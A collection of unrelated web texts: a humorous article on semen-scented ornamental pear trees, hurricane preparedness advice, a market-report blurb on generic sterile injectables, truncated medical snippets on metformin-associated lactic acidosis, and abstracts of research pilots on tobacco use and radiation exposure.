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You know the smell. It's that chlorine musk that reminds you of either narrowly dodging a pregnancy or being a 15-year-old boy. But it's a weird thing to be walking down the street on an early spring afternoon and get a nose full of jizz. You're looking around like, "What
is that?"
The answer is trees. That cummy smell comes from a flowering deciduous tree called
Pyrus calleryana, better known in Australia as the ornamental pear. Originating from China, they became the urban designer's tree of choice in the 1950s because they're small, neat, and produce cute white flowers. Ornamental pears now line city streets around the globe, although they've fallen out of fashion in Australia because they tend to self-germinate in vacant blocks—and as mentioned—the jizz thing.
So what's with the smell? Basically they smell like that to attract insects. "Any time plants emit fragrances, it's typically to attract pollinators, and that's what the pear is doing as well," explained John Murgel, a horticulturist in Denver. "We normally associate sweet smells with trying to attract bees, but a lot of plants all over the world use really terrible smells in order to attract beetles and flies as pollinators."
In the world of chemistry these smells are known as "volatile amines," which basically mean they're molecularly similar to ammonia. In the case of the ornamental pear, what you're smelling is trimethylamine and dimethylamine, both of which smell like ammonia. And the twist in the story is that there's ammonia in semen.
And just because we're here, talking about semen, I want to raise something personal for a moment. And that is how whenever anyone brings up semen trees, some sort of dude always invariably says, "Hahahaha, how do you know what semen smells like?"
You might have experienced this yourself. But I just want to quickly clarify that of all people, those dudes know
exactly what semen smells like. And they know because they all spent long, fevered years exploring, and I know this because I was there, being one of them. For many of us, semen was a phase. And there was an even stranger phase when some guys in high school were tasting their own, just to see. I never went that far but I guess it's nice to keep as an option. Just for when I'm old and I've tried every other activity on the planet, including zorbing.
Anyway, the point is don't ask that question. It's dumb, and you already know the answer.
Now, back to the trees. And it's worth noting that smelly plants are fairly common. There's an entire subset of stinky plants called carrion flowers, or corpse flowers, which mimic the stench of decay to attract bugs that usually feast on rotting animals. Indonesia has produced many of the favourites, including
Amorphophallus titanum, which has a long proboscis-like structure that heats up to further disperse its smell. Another example is the Bulbophyllum, which is a kind of orchid found throughout Latin America and the Asian Pacific. These guys are beautiful, but their scent is said to range from urine and blood, all the way through to something sweet and fruity.
Closer to home now, and the good news is that ornamental pear trees won't stink for that much longer. As John Murgel explained, most bloom for just two weeks. "And if a tree is in a warmer, exposed site, it could already be flowering."
So enjoy them while you still can. Like memories of adolescence, the smell of semen trees is fleeting.
Julian is on Twitter, if you're into that kind of thing
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On June 1, the hurricane season began in the Western Hemisphere. Every year, a number of named storms affect the eastern and southern coasts of the United States. My experience in public safety has taught me that there are three phases of every landfalling storm: before, during and after. I could probably write an article on each phase, but I will try to give some key points on each of these three phases.
Before the Storm The fire service works in operational periods of time leading up to a landfalling storm. There are certain things that need to be checked in each operational period that may be needed during the storm. A few examples of the things that are checked or operated are emergency generators, station fuel levels and chain saws. I think that many people take preparatory steps before a landfalling storm, but I doubt that we take a planned approach. The first order of business would be to determine what needs to be done before the storm arrives: things like filling gas tanks and gas cans, checking generators, stocking up on non-perishable foods and drinking water, procuring batteries for flash lights, making sure that propane tanks are full and ensuring that medical patients have what they need. It is important to heed warnings by weather and local officials prior to the storm. The steps taken before the storm should be done while conditions are calm, the power is still on, the wind is calm and the torrential rain is not yet falling. If you think that you will need something after the storm, then you will want to acquire it before the storm. You will also need to secure loose items from being blown around. During the Storm Once the storm has hit, shelter in place. Most storms might contain three dangerous issues: flooding rains, damaging sustained winds and tornadoes. If you live near the coast, then you will need to be concerned about storm surges, especially around high tides. Some storms may be more of a rain event, while others may be more of a wind event, and some contain both. Listening to and heeding the warnings issued might just save your life. If you are given the order to evacuate, do so. An evacuation plan should be determined prior to the storm’s arrival. Do not go outside to look at the storm’s fury. Many have been hurt or killed by falling tree branches or trees. If power lines come down, treat them as energized. Know where you will go in your home if a tornado warning is issued. If tornadoes are forecast, then people living in mobile homes must have an evacuation location to go to. After the Storm The period after the storm could last for two to three weeks. Infrastructure may be damaged. How will you live if the power is off three days? How about seven or 14 days? How will you prevent your generator exhaust from building up lethal levels of carbon monoxide? Trees could be wrapped with power lines. Roads may be blocked or washed out. Do not drive through water running across a roadway. Many people are hurt using chain saws and ladders after storms. If evacuated, then stay out until conditions have been rendered safe. Patience will be key in dealing with the aftermath of a landfalling storm. Neighbors will need to help neighbors, especially if you have elderly neighbors. Fire units, ambulances and police officers may be delayed due to blocked access or high call loads. One may have to live without creature comforts for an extended period of time. Steps taken before the storm may benefit after the storm. I remember the days after Hurricane Isabel when one could not find a chain saw to buy for 100 miles. Looking at the storm through the lens presented here may help people better survive the storm.
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For a long time, the cure for diabetes type 1 and type 2 has relied on agonizing insulin shots for patients or insulin infusion via mechanical pumps. Regarding this, experts have been creating artificial pancreatic beta cells with the he…
In this report, LP Information covers the present scenario (with the base year being 2017) and the growth prospects of global Generic Sterile Injectable market for 2018-2023.
The generic sterile injectable are FDA approved biologics that are used for the treatment of many diseases and disorders in the vast arena of the healthcare industry. The generic sterile injectable are very inexpensive as compared to that of their branded counterparts of these drugs and performs equally well. Thus, these Injectables are heavily in demand all the time and are used in majority of hospitals and clinics across the globe. However, due to the stringent FDA regulations for the production of these injectable, the rigorous demand satisfaction of these injectable has always been a constant challenge for the key players in the global generic sterile injectable market.
The generic sterile injectable market is expected to gain steady traction in the foreseeable future as the sterile injectable products find its application across a wide number of diseases and medical condition. Manufacturers are focused on increasing the production of generic sterile injectable to meet the rising demands without compromising on the quality of the injectable.
Over the next five years, LPI(LP Information) projects that Generic Sterile Injectable will register a xx% CAGR in terms of revenue, reach US$ xx million by 2023, from US$ xx million in 2017.
This report presents a comprehensive overview, market shares, and growth opportunities of Generic Sterile Injectable market by product type, application, key manufacturers and key regions.
To calculate the market size, LP Information considers value and volume generated from the sales of the following segments:
Segmentation by product type:
- Monoclonal Antibodies
- Cytokines
- Insulin
- Peptide Hormones
- Vaccines
- Others
Segmentation by application:
- Hospitals
- Pharmacies
- Online Pharmacies
This report also splits the market by region:
- Americas
- - United States
- - Canada
- - Mexico
- - Brazil
- APAC
- - China
- - Japan
- - Korea
- - Southeast Asia
- - India
- - Australia
- Europe
- - Germany
- - France
- - UK
- - Italy
- - Russia
- - Spain
- Middle East & Africa
- - Egypt
- - South Africa
- - Israel
- - Turkey
- - GCC Countries
The report also presents the market competition landscape and a corresponding detailed analysis of the major vendor/manufacturers in the market. The key manufacturers covered in this report:
- 3M
- Baxter Inc
- Fresenius Kabi
- Pfizer/Hospira
- Novartis/Sandoz
- Teva
- Hikma
- Sun Pharma
- Dr. Reddy's
- Mylan
- AstraZeneca Plc
- Merck & Co., Inc
- Hellberg Safety Ab
In addition, this report discusses the key drivers influencing market growth, opportunities, the challenges and the risks faced by key manufacturers and the market as a whole. It also analyzes key emerging trends and their impact on present and future development.
Research objectives
- To study and analyze the global Generic Sterile Injectable consumption (value & volume) by key regions/countries, product type and application, history data from 2013 to 2017, and forecast to 2023.
- To understand the structure of Generic Sterile Injectable market by identifying its various subsegments.
- Focuses on the key global Generic Sterile Injectable manufacturers, to define, describe and analyze the sales volume, value, market share, market competition landscape, SWOT analysis and development plans in next few years.
- To analyze the Generic Sterile Injectable with respect to individual growth trends, future prospects, and their contribution to the total market.
- To share detailed information about the key factors influencing the growth of the market (growth potential, opportunities, drivers, industry-specific challenges and risks).
- To project the consumption of Generic Sterile Injectable submarkets, with respect to key regions (along with their respective key countries).
- To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the market.
- To strategically profile the key players and comprehensively analyze their growth strategies.
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Review Metformin-associated Lactic Acidosis: Current Perspectives On Causes And Risk
Abstract Although metformin has become a drug of choice for the treatment of type 2 diabetes mellitus, some patients may not receive it owing to the risk of lactic acidosis. Metformin, along with other drugs in the biguanide class, increases plasma lactate levels in a plasma concentration-dependent manner by inhibiting mitochondrial respiration predominantly in the liver. Elevated plasma metformin concentrations (as occur in individuals with renal impairment) and a secondary event or condition that further disrupts lactate production or clearance (e.g., cirrhosis, sepsis, or hypoperfusion), are typically necessary to cause metformin-associated lactic acidosis (MALA). As these secondary events may be unpredictable and the mortality rate for MALA approaches 50%, metformin has been contraindicated in moderate and severe renal impairment since its FDA approval in patients with normal renal function or mild renal insufficiency to minimize the potential for toxic metformin levels and MALA. However, the reported incidence of lactic acidosis in clinical practice has proved to be very low (< 10 cases per 100,000 patient-years). Several groups have suggested that current renal function cutoffs for metformin are too conservative, thus depriving a substantial number of type 2 diabetes patients from the potential benefit of metformin therapy. On the other hand, the success of metformin as the first-line diabetes therapy may be a direct consequence of conservative labeling, the absence of which could have led to excess patient risk and eventual withdrawal from the market, as happened with earlier biguanide therapies. An investigational delayed-release metformin currently under development could potentially provide a treatment option for patients with renal impairment pending the resu Continue reading >>
The role of bariatric surgery to treat diabetes: current challenges and perspectives Exercise and Glucose Metabolism in Persons with Diabetes Mellitus: Perspectives on the Role for Continuous Glucose Monitoring Evaluating Adherence to Dilated Eye Examination Recommendations Among Patients with Diabetes, Combined with Patient and Provider Perspectives Lactic Acidosis: What You Need To Know
Lactic acidosis is a form of metabolic acidosis that begins in the kidneys. People with lactic acidosis have kidneys that are unable to remove excess acid from their body. If lactic acid builds up in the body more quickly than it can be removed, acidity levels in bodily fluids — such as blood — spike. This buildup of acid causes an imbalance in the body’s pH level, which should always be slightly alkaline instead of acidic. There are a few different types of acidosis. Lactic acid buildup occurs when there’s not enough oxygen in the muscles to break down glucose and glycogen. This is called anaerobic metabolism. There are two types of lactic acid: L-lactate and D-lactate. Most forms of lactic acidosis are caused by too much L-lactate. Lactic acidosis has many causes and can often be treated. But if left untreated, it may be life-threatening. The symptoms of lactic acidosis are typical of many health issues. If you experience any of these symptoms, you should contact your doctor immediately. Your doctor can help determine the root cause. Several symptoms of lactic acidosis represent a medical emergency: fruity-smelling breath (a possible indication of a serious complication of diabetes, called ketoacidosis) confusion jaundice (yellowing of the skin or the whites of the eyes) trouble breathing or shallow, rapid breathing If you know or suspect that you have lactic acidosis and have any of these symptoms, call 911 or go to an emergency room right away. Other lactic acidosis symptoms include: exhaustion or extreme fatigue muscle cramps or pain body weakness overall feelings of physical discomfort abdominal pain or discomfort diarrhea decrease in appetite headache rapid heart rate Lactic acidosis has a wide range of underlying causes, including carbon monoxide poisoni Continue reading >>
Severe Lactic Acidosis Reversed By Thiamine Within 24 Hours
Severe lactic acidosis reversed by thiamine within 24 hours 1Department of Internal Medicine, Medical University of Graz, Auenbruggerplatz 15, A-8036 Graz, Austria Karin Amrein: [email protected] ; Werner Ribitsch: [email protected] ; Ronald Otto: [email protected] ; Harald C Worm: [email protected] ; Rudolf E Stauber: [email protected] This article has been cited by other articles in PMC. Thiamine is a water-soluble vitamin that plays a pivotal role in carbohydrate metabolism. In acute deficiency, pyruvate accumulates and is metabolized to lactate, and chronic deficiency may cause polyneuropathy and Wernicke encephalopathy. Classic symptoms include mental status change, ophthalmoplegia, and ataxia but are present in only a few patients [ 1 ]. Critically ill patients are prone to thiamine deficiency because of preexistent malnutrition, increased consumption in high-carbohydrate nutrition, and accelerated clearance in renal replacement. In retrospective [ 2 ] and prospective [ 3 , 4 ] studies, a substantial prevalence of thiamine deficiency has been described in both adult (10% to 20%) and pediatric (28%) patients. Thiamine deficiency may become clinically evident in any type of malnutrition that outlasts thiamine body stores (2 to 3 weeks), including alcoholism, bariatric surgery, or hyperemesis gravidarum, and results in high morbidity and mortality if untreated [ 1 ]. We report the case of a 56-year-old man with profound lactic acidosis that resolved rapidly after thiamine infusion. He was admitted because of a decreased level of consciousness (Glasgow Coma Scale score of 6). Vital signs, including blood pressure, heart rate, and oxygen saturation, were normal. Besides reporting regular alcohol consumption, relatives reported recen Continue reading >>
Mala: Metformin-associated Lactic Acidosis
By Charles W. O’Connell, MD Introduction Metformin is a first-line agent for type 2 diabetes mellitus often used as monotherapy or in combination with oral diabetic medications. It is a member of the biguanide class and its main intended effect is expressed by the inhibition of hepatic gluconeogenesis. In addition, metformin increases insulin sensitivity, enhances peripheral glucose utilization and decreases glucose uptake in the gastrointestinal tract. Phenformin, a previously used biguanide, as withdrawn from the market in the 1970’s due its association with numerous cases of lactic acidosis. Metformin is currently used extensively in the management of diabetes and is the most commonly prescribed biguanide worldwide. The therapeutic dosage of metformin ranges from 850 mg to a maximum of 3000 mg daily and is typically divided into twice daily dosing. It is primarily used in the treatment of diabetes but has been used in other conditions associated with insulin resistance such as polycystic ovarian syndrome. MALA is a rare but well reported event that occurs with both therapeutic use and overdose states. Case presentation A 22-year-old female presents to the Emergency Department after being found alongside a suicide note by her family. She was thought to have taken an unknown, but large amount of her husband’s metformin. She arrives at the ED nearly 10 hours after ingestion. She was agitated, but conversant. She reports having nausea and vague feelings of being unwell and is very distraught over the state of her critically ill husband. She has some self-inflicted superficial lacerations over her left anterior forearm. Her vital assigns upon arrival were: T 98.9 degrees Fahrenheit, HR initially 140 bpm which improved to 110 bpm soon after arrival, BP 100/50, RR 22, Continue reading >>
Causes Of Lactic Acidosis
INTRODUCTION AND DEFINITION Lactate levels greater than 2 mmol/L represent hyperlactatemia, whereas lactic acidosis is generally defined as a serum lactate concentration above 4 mmol/L. Lactic acidosis is the most common cause of metabolic acidosis in hospitalized patients. Although the acidosis is usually associated with an elevated anion gap, moderately increased lactate levels can be observed with a normal anion gap (especially if hypoalbuminemia exists and the anion gap is not appropriately corrected). When lactic acidosis exists as an isolated acid-base disturbance, the arterial pH is reduced. However, other coexisting disorders can raise the pH into the normal range or even generate an elevated pH. (See "Approach to the adult with metabolic acidosis", section on 'Assessment of the serum anion gap' and "Simple and mixed acid-base disorders".) Lactic acidosis occurs when lactic acid production exceeds lactic acid clearance. The increase in lactate production is usually caused by impaired tissue oxygenation, either from decreased oxygen delivery or a defect in mitochondrial oxygen utilization. (See "Approach to the adult with metabolic acidosis".) The pathophysiology and causes of lactic acidosis will be reviewed here. The possible role of bicarbonate therapy in such patients is discussed separately. (See "Bicarbonate therapy in lactic acidosis".) PATHOPHYSIOLOGY A review of the biochemistry of lactate generation and metabolism is important in understanding the pathogenesis of lactic acidosis [1]. Both overproduction and reduced metabolism of lactate appear to be operative in most patients. Cellular lactate generation is influenced by the "redox state" of the cell. The redox state in the cellular cytoplasm is reflected by the ratio of oxidized and reduced nicotine ad Continue reading >>
Metformin-related Lactic Acidosis: Case Report - Sciencedirect
Open Access funded by Sociedad Colombiana de Anestesiologa y Reanimacin Lactic acidosis is defined as the presence of pH <7.35, blood lactate >2.0mmol/L and PaCO2 <42mmHg. However, the definition of severe lactic acidosis is controversial. The primary cause of severe lactic acidosis is shock. Although rare, metformin-related lactic acidosis is associated with a mortality as high as 50%. The treatment for metabolic acidosis, including lactic acidosis, may be specific or general, using sodium bicarbonate, trihydroxyaminomethane, carbicarb or continuous haemodiafiltration. The successful treatment of lactic acidosis depends on the control of the aetiological source. Intermittent or continuous renal replacement therapy is perfectly justified, shock being the argument for deciding which modality to use. We report a case of a male patient presenting with metformin poisoning as a result of attempted suicide, who developed lactic acidosis and multiple organ failure. The critical success factor was treatment with continuous haemodiafiltration. Definimos acidosis lctica en presencia de pH <7.35, lactato en sangre >2.0mmol/L y PaCO2 <42mmHg. Por otro lado, la definicin de acidosis lctica grave es controvertida. La causa principal de acidosis lctica grave es el estado de choque. La acidosis lctica por metformina es rara pero alcanza mortalidad del 50%. La acidosis metablica incluyendo a la acidosis lctica puede recibir tratamiento especfico o tratamiento general con bicarbonato de sodio, trihidroxiaminometano, carbicarb o hemodiafiltracin continua. El xito del tratamiento de la acidosis lctica yace en el control de la fuente etiolgica; la terapia de reemplazo renal intermitente o continua est perfectamente justificada, donde el argumento para decidir cul utilizar ser el estado de Continue reading >>
Lactic Acidosis In Sepsis: It's Not All Anaerobic: Implications For Diagnosis Andmanagement.
1. Chest. 2016 Jan;149(1):252-61. doi: 10.1378/chest.15-1703. Epub 2016 Jan 6. Lactic Acidosis in Sepsis: It's Not All Anaerobic: Implications for Diagnosis andManagement. (1)Centre for Heart Lung Innovation, University of British Columbia, Vancouver, BC, Canada. (2)Centre for Heart Lung Innovation, University of British Columbia, Vancouver, BC, Canada. Electronic address: [email protected] Increased blood lactate concentration (hyperlactatemia) and lactic acidosis(hyperlactatemia and serum pH< 7.35) arecommon in patients with severe sepsisorseptic shock and are associated with significant morbidity and mortality. Insome patients, most of the lactate that is produced in shock states is due toinadequate oxygen delivery resulting in tissue hypoxia and causing anaerobicglycolysis. However, lactate formation during sepsis is not entirely related totissue hypoxia or reversible by increasing oxygen delivery. In this review,weinitially outline the metabolism of lactateand etiology of lactic acidosis;we thenaddress the pathophysiology of lacticacidosis in sepsis. We discuss the clinical implications of serum lactate measurement in diagnosis, monitoring, and prognostication in acute and intensive care settings. Finally, we exploretreatment of lactic acidosis and its impact on clinical outcome.Copyright 2016 American College of Chest Physicians. Published by Elsevier Inc.All rights reserved. Continue reading >>
Lactic Acidosis: Symptoms, Causes, And Treatment
Lactic acidosis occurs when the body produces too much lactic acid and cannot metabolize it quickly enough. The condition can be a medical emergency. The onset of lactic acidosis might be rapid and occur within minutes or hours, or gradual, happening over a period of days. The best way to treat lactic acidosis is to find out what has caused it. Untreated lactic acidosis can result in severe and life-threatening complications. In some instances, these can escalate rapidly. It is not necessarily a medical emergency when caused by over-exercising. The prognosis for lactic acidosis will depend on its underlying cause. A blood test is used to diagnose the condition. Lactic acidosis symptoms that may indicate a medical emergency include a rapid heart rate and disorientaiton. Typically, symptoms of lactic acidosis do not stand out as distinct on their own but can be indicative of a variety of health issues. However, some symptoms known to occur in lactic acidosis indicate a medical emergency. Lactic acidosis can occur in people whose kidneys are unable to get rid of excess acid. Even when not related to just a kidney condition, some people's bodies make too much lactic acid and are unable to balance it out. Diabetes increases the risk of developing lactic acidosis. Lactic acidosis may develop in people with type 1 and 2 diabetes mellitus , especially if their diabetes is not well controlled. There have been reports of lactic acidosis in people who take metformin, which is a standard non-insulin medication for treating type 2 diabetes mellitus. However, the incidence is low, with equal to or less than 10 cases per 100,000 patient-years of using the drug, according to a 2014 report in the journal Metabolism. The incidence of lactic acidosis is higher in people with diabetes who Continue reading >>
Metformin And Fatal Lactic Acidosis
Publications Published: July 1998 Information on this subject has been updated. Read the most recent information. Dr P Pillans,former Medical Assessor, Centre for Adverse Reactions Monitoring (CARM), Dunedin Metformin is a useful anti-hyperglycaemic agent but significant mortality is associated with drug-induced lactic acidosis. Significant renal and hepatic disease, alcoholism and conditions associated with hypoxia (eg. cardiac and pulmonary disease, surgery) are contraindications to the use of metformin. Other risk factors for metformin-induced lactic acidosis are sepsis, dehydration, high dosages and increasing age. Metformin remains a major reported cause of drug-associated mortality in New Zealand. Of the 12 cases of lactic acidosis associated with metformin reported to CARM since 1977, 2 occurred in the last year and 8 cases had a fatal outcome. Metformin useful but small risk of potentially fatal lactic acidosis Metformin is a useful therapeutic agent for obese non-insulin dependent diabetics and those whose glycaemia cannot be controlled by sulphonylurea monotherapy. Lactic acidosis is an uncommon but potentially fatal adverse effect. The reported frequency of lactic acidosis is 0.06 per 1000 patient-years, mostly in patients with predisposing factors.1 Examples of metformin-induced lactic acidosis cases reported to CARM include: A 69-year-old man, with renal and cardiac disease, was prescribed metformin due to failing glycaemic control on glibenclamide monotherapy. He was well for six weeks, then developed lactic acidosis and died within 3 days. Post-surgical lactic acidosis caused the death of a 70-year-old man whose metformin was not withdrawn at the time of surgery. A 56-year-old woman, with no predisposing disease, died from lactic acidosis following major Continue reading >>
Glyburide And Metformin (oral Route)
Precautions Drug information provided by: Micromedex It is very important that your doctor check your progress at regular visits to make sure this medicine is working properly. Blood tests may be needed to check for unwanted effects. Under certain conditions, too much metformin can cause lactic acidosis. The symptoms of lactic acidosis are severe and quick to appear. They usually occur when other health problems not related to the medicine are present and very severe, such as a heart attack or kidney failure. The symptoms of lactic acidosis include abdominal or stomach discomfort; decreased appetite; diarrhea; fast, shallow breathing; a general feeling of discomfort; muscle pain or cramping; and unusual sleepiness, tiredness, or weakness. If you have any symptoms of lactic acidosis, get emergency medical help right away. It is very important to carefully follow any instructions from your health care team about: Alcohol—Drinking alcohol may cause severe low blood sugar. Discuss this with your health care team. Other medicines—Do not take other medicines unless they have been discussed with your doctor. This especially includes nonprescription medicines such as aspirin, and medicines for appetite control, asthma, colds, cough, hay fever, or sinus problems. Counseling—Other family members need to learn how to prevent side effects or help with side effects if they occur. Also, patients with diabetes may need special counseling about diabetes medicine dosing changes that might occur because of lifestyle changes, such as changes in exercise and diet. Furthermore, counseling on contraception and pregnancy may be needed because of the problems that can occur in patients with diabetes during pregnancy. Travel—Keep your recent prescription and your medical history with yo Continue reading >>
Lactic Acidosis: Diagnosis And Treatment
Measurements of blood lactate levels can be very useful for detecting the presence of tissue underperfusion and for guiding therapy. Increased blood lactate levels usually reflect an imbalance between the oxygen demand and the oxygen supply to the cells, but other conditions may also be responsible. The present chapter first reviews the biochemistry of blood lactate, then reviews the clinical conditions associated with hyperlactatemia and finally discusses some therapeutic implications. Septic ShockBlood LactateLactate LevelLactic AcidosisBlood Lactate Level These keywords were added by machine and not by the authors. This process is experimental and the keywords may be updated as the learning algorithm improves. This is a preview of subscription content, log in to check access Unable to display preview. Download preview PDF. Zhang H, Vincent JL (1993) Arteriovenous differences in PCO2 and pH are good indicators of critical hypoperfusion. Am Rev Respir Dis 148:867871 PubMed CrossRef Google Scholar Iberti TJ, Leibowitz AB, Papadakos PJ et al (1990) Low sensitivity of the anion gap as a screen to detect hyperlactatemia in critically ill patients. Crit Care Med 18:275277 PubMed CrossRef Google Scholar Poortmans JR, Bossche JD, Leclercq R (1978) Lactate uptake by inactive forearm during progressive leg exercise. J Appl Pysiol 45:835839 Google Scholar Freyschuss U, Strandell T (1967) Limb circulation during arm and leg exercise in supine position. J Appl Physiol 23:163170 PubMed Google Scholar Watt PW, MacLennan PA, Hundai HS et al (1988) L(+)-Lactate transport in perfused rat skeletal muscle: kinetic characteristics and sensitivity to pH and transport inhibitors. Biochem Biophys Acta 944:213222 PubMed CrossRef Google Scholar Graham TE, Barclay JK, Wilson BA (1986) Skeletal Continue reading >>
Diagnosis and treatment of diabetes mellitus in chronic pancreatitis Genetic findings in 'type 1.5' diabetes may shed light on better diagnosis, treatment Relative effectiveness of insulin pump treatment over multiple daily injections and structured education during flexible intensive insulin treatment for type 1 diabetes: cluster randomised trial (REPOSE) Lactic Acidosis And Exercise: What You Need To Know
Muscle ache, burning, rapid breathing, nausea, stomach pain: If you've experienced the unpleasant feeling of lactic acidosis, you likely remember it. It's temporary. It happens when too much acid builds up in your bloodstream. The most common reason it happens is intense exercise. Symptoms The symptoms may include a burning feeling in your muscles, cramps, nausea, weakness, and feeling exhausted. It's your body's way to tell you to stop what you're doing The symptoms happen in the moment. The soreness you sometimes feel in your muscles a day or two after an intense workout isn't from lactic acidosis. It's your muscles recovering from the workout you gave them. Intense Exercise. When you exercise, your body uses oxygen to break down glucose for energy. During intense exercise, there may not be enough oxygen available to complete the process, so a substance called lactate is made. Your body can convert this lactate to energy without using oxygen. But this lactate or lactic acid can build up in your bloodstream faster than you can burn it off. The point when lactic acid starts to build up is called the "lactate threshold." Some medical conditions can also bring on lactic acidosis, including: Vitamin B deficiency Shock Some drugs, including metformin, a drug used to treat diabetes, and all nucleoside reverse transcriptase inhibitor (NRTI) drugs used to treat HIV/AIDS can cause lactic acidosis. If you are on any of these medications and have any symptoms of lactic acidosis, get medical help immediately. Preventing Lactic Acidosis Begin any exercise routine gradually. Pace yourself. Don't go from being a couch potato to trying to run a marathon in a week. Start with an aerobic exercise like running or fast walking. You can build up your pace and distance slowly. Increase the Continue reading >>
Life Threatening Lactic Acidosis
M Lemyze, specialist registrar in critical care medicine 1 , J F Baudry, specialist registrar in critical care medicine 2 , F Collet, specialist registrar in critical care medicine 2 , N Guinard, specialist registrar in critical care medicine 2 1Department of Critical Care Medicine, Schaffner Hospital, 62300 Lens, France 2Department of Critical Care Medicine, Broussais Hospital, 35400 Saint Malo, France Correspondence to: M Lemyze malcolmlemyze{at}yahoo.fr An 83 year old woman with diabetes presented to the emergency department with progressive shortness of breath and a two week history of diarrhoea. Her drugs included aspirin, 75 mg four times a day; a combination of irbesartan with hydrochlorothiazide, 300/25 mg four times a day; and metformin, 1000 mg three times a day. She had no previously known renal insufficiency, but on arrival she was oliguric, disoriented, and confused. Her respiratory rate was 32 breaths/min, blood pressure was 76/46 mm Hg, heart rate was 125 beats/min, and rectal temperature reached 36.8C. She had cool and clammy extremities and a persistent skinfoldadditional evidence of severe dehydration. Arterial blood gases showed a profound lactic acidosis, with pH 6.72, partial pressure of carbon dioxide (PCO2) 14 mm Hg, partial pressure of oxygen (PO2) 106 mm Hg, bicarbonate 12 mmol/l, and a high lactate concentration of 17.4 mmol/l. Laboratory results showed a normal blood glucose concentration of 9 mmol/l, a serum urea of 22 mmol/l, a serum creatinine of 779 mol/l, an increased serum potassium concentration of 6.8 mmol/l, and a decreased prothrombin activity of 43% (prothrombin time of 21 seconds). Chest and abdominal examination, chest radiography, urine dipstick, plasma C reactive protein (<5 mg/l), and procalcitonin (<0.5 g/l) concentrations sh Continue reading >>
Differential Diagnosis Of Elevated Serum Lactate 1,2
Sinus tachycardia, LVH, secondary repolarization abnormalities No evidence of central pulmonary embolism, thoracic aortic dissection, or thoracic aortic aneurysm. Evaluation of the peripheral vessels is limited due to motion artifact. No focal consolidation or pneumothorax. No evidence of intra-abdominal abscess or definite source of infection. Marked hepatic steatosis. Diffuse circumferential subcutaneous edema involving both lower extremities from the level of the mid thighs distally through the feet. There are bilateral subcutaneous calcifications which are likely venous calcifications in the setting of chronic venous stasis disease. There is some overlying skin thickening. There is moderate concentric left ventricular hypertrophy with hyperdynamic LV wall motion. The Ejection Fraction estimate is >70%. Grade I/IV (mild) LV diastolic dysfunction. No hemodynamically significant valve abnormalities. Hepatomegaly, echogenic liver suggesting fatty infiltration. Moderately blunted hepatic vein waveforms suggesting decreased hepatic parenchymal compliance. The patient was admitted to the cardiology service for management of NSTEMI and evaluation of undiagnosed CHF. She was started on a heparin continuous infusion. In addition, a CT pulmonary angiogram was obtained to evaluate for pulmonary embolism as an explanation of her progressive dyspnea on exertion. No PE, consolidation or effusion was identified. Despite the patients reported history of congestive heart failure, there was no evidence that her symptoms were a result of an acute exacerbation with only a mildly elevated BNP but no jugular venous distension or evidence of pulmonary edema. The patients significant lower extremity edema was more suggestive of chronic venous stasis. One notable laboratory abnormality that Continue reading >>
Lactic Acidosis
Lactic acidosis is a medical condition characterized by the buildup of lactate (especially L-lactate) in the body, which results in an excessively low pH in the bloodstream. It is a form of metabolic acidosis, in which excessive acid accumulates due to a problem with the body's metabolism of lactic acid. Lactic acidosis is typically the result of an underlying acute or chronic medical condition, medication, or poisoning. The symptoms are generally attributable to these underlying causes, but may include nausea, vomiting, rapid deep breathing, and generalised weakness. The diagnosis is made on biochemical analysis of blood (often initially on arterial blood gas samples), and once confirmed, generally prompts an investigation to establish the underlying cause to treat the acidosis. In some situations, hemofiltration (purification of the blood) is temporarily required. In rare chronic forms of lactic acidosis caused by mitochondrial disease, a specific diet or dichloroacetate may be used. The prognosis of lactic acidosis depends largely on the underlying cause; in some situations (such as severe infections), it indicates an increased risk of death. Classification[edit] The Cohen-Woods classification categorizes causes of lactic acidosis as:[1] Type A: Decreased tissue oxygenation (e.g., from decreased blood flow) Type B B1: Underlying diseases (sometimes causing type A) B2: Medication or intoxication B3: Inborn error of metabolism Signs and symptoms[edit] Lactic acidosis is commonly found in people who are unwell, such as those with severe heart and/or lung disease, a severe infection with sepsis, the systemic inflammatory response syndrome due to another cause, severe physical trauma, or severe depletion of body fluids.[2] Symptoms in humans include all those of typical m Continue reading >>
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2018 Pilot Projects Understanding the Factors Influencing Exposures from Tobacco Usage among Young Adults in the Minority Communities Principal Investigator: Hsu, Ping-Ching, Ph.D., M.S.
Young adults (YA) aged 18-26 have the highest rate of trying new and emerging tobacco products such as electronic nicotine delivery systems (ENDS). Dual use of ENDS with other tobacco products such as cigarettes and smokeless tobacco (ST) is common among YAs, who are at the critical stage in the development of regular tobacco use behavior. Dual use can increase the abuse liability of tobacco products, prolong frequency and intensity of use, and increase exposure to tobacco toxins. However, there is limited understanding of how individual factors such as nicotine dependence, smoking topography, and nicotine metabolism influence nicotine intake and exposure to tobacco toxins in YAs, particularly among those who live in rural Southern communities where smoking-attributable cancers are among the highest in the U.S. Our long-term goal is to generate innovative data that will inform tobacco regulatory policy related to how dual user consumption patterns influence toxicant exposure. Consistent with the Arkansas Center for Health Disparities (ARCHD) theme, the specific goal of this study is to investigate individual factors that will influence tobacco use behavior among socially disadvantaged YA who live in the Arkansas Phillips County where 62% of the population are African Americans. This study will use social network and community-engaged research methods to recruit traditionally hard-to-reach underserved YAs. We hypothesize that YAs who use multiple products (e.g., cig+ENDS or cig+ST) will have higher nicotine dependence than single users, resulting in longer and deeper puff profiles and greater toxicant exposures than single users. This study includes vulnerable populations defined by the Food and Drug Administration (minorities, YA, poor, and geographically isolated group), which has expressed an interest in better understanding how to reduce the toxicity and carcinogenicity of tobacco products. Therefore, we have the potential to have a huge impact on addressing tobacco-caused disparities.
Our aims are to: Aim 1.Evaluate the smoking topography and nicotine dependence for YA smokers, ST, ENDS, and dual users. Aim 2.Determine the differences in the toxicant exposure in saliva using targeted metabolomics, as well as the nicotine metabolic ratio for the above groups. Cytogenetic and Epigenetic Alterations as a Result of Exposure to Ionizing Radiation in Northwest Arkansas Marshallese Principal Investigator, Igor Koturbash, M.D., Ph.D
As a result of nuclear weapons testing in the northern Marshall Islands in the middle of the twentieth century, thousands of Marshallese were exposed to ionizing radiation and numerous islands were contaminated as a result of radioactive fallout. Increased cancer incidence and metabolic syndrome have been reported in residents of the Republic of the Marshall Islands, and many more radiation-induced cancers are expected to emerge due to the latency of cancer
